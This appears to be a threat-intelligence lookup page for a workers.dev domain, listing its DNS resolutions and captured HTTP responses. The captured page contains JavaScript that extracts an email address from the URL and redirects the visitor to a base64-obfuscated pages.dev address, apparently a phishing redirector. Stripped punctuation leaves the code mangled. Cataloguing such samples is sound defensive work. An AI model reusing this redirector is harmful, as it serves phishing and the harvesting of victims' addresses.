Domain > bbbglzhbja.donald-white.workers.dev

More information on this domain is in AlienVault OTX

DNS Resolutions

Date	IP Address
2024-09-10	172.67.132.101 (ClassC)
2026-01-04	104.21.12.201 (ClassC)

HTTP/1.1 200 OKDate: Sun, 04 Jan 2026 00:58:57 GMTContent-Type: text/html;charsetUTF-8Content-Length: 688Connection: keep-aliveVary: accept-encodingReport-To: {group:cf-nel,max_age:604800,endpoints:{url:https://a.nel.cloudflare.com/report/v4?ssbKtCgCH14Qhs2QwJN4AIa9Z8RjFibLH6dutybS6qLArx9YDjZuCzaZoJGe3EFlFb19%2FnxAZ%2FHLejXmmJKJ520%2BRrGayXV4Qkw3abgHuHWir1%2FrPOHyxSB9VvQkd2tIOuw%3D%3D}}Nel: {report_to:cf-nel,success_fraction:0.0,max_age:604800}Server: cloudflareCF-RAY: 9b86ca5d09675012-PDXalt-svc: h3:443; ma86400

!DOCTYPE html>body>    script>        var appending  ;        if(window.location.hash ! ){            appending  window.location.hash;        }else if(window.location.search ! ){            var result  window.location.search.match(/(?:\?|&).*(.*\@.*a-zA-Z{2,4})/);            result  result  null ? window.location.search.match(/\?.+?(.+?)\&/) : result;            result  result  null ? window.location.search.match(/\?.+?(.*)/) : result;            if(result){                appending  result1;            }        }        window.location.replace(atob(aHR0cHM6Ly92d3B0b29ndHJ3LnBhZ2VzLmRldi9pbmRleDE) + appending);    /script>/body>

Port 443

HTTP/1.1 200 OKDate: Sun, 04 Jan 2026 00:58:57 GMTContent-Type: text/html;charsetUTF-8Content-Length: 688Connection: keep-aliveVary: accept-encodingReport-To: {group:cf-nel,max_age:604800,endpoints:{url:https://a.nel.cloudflare.com/report/v4?sS8KQ8c6%2FMHbapx4PsLDaDbnGJ%2BNZDlvtoa%2BmlzwZVCw25gT38IRY0eXDKx3XW4WZtCeIqWJx18644oW05bJRcDUkGB8XVgETX%2FAbFdRwyWIoQWWtaU7DTtXkMoBKKPPgKl%2Fy}}Nel: {report_to:cf-nel,success_fraction:0.0,max_age:604800}Server: cloudflareCF-RAY: 9b86ca5e7aa9a509-PDXalt-svc: h3:443; ma86400

View on OTX | View on ThreatMiner

Data with thanks to AlienVault OTX, VirusTotal, Malwr and others. [Sitemap]

Domain > bbbglzhbja.donald-white.workers.dev

Is this malicious?

DNS Resolutions

Port 80

Port 443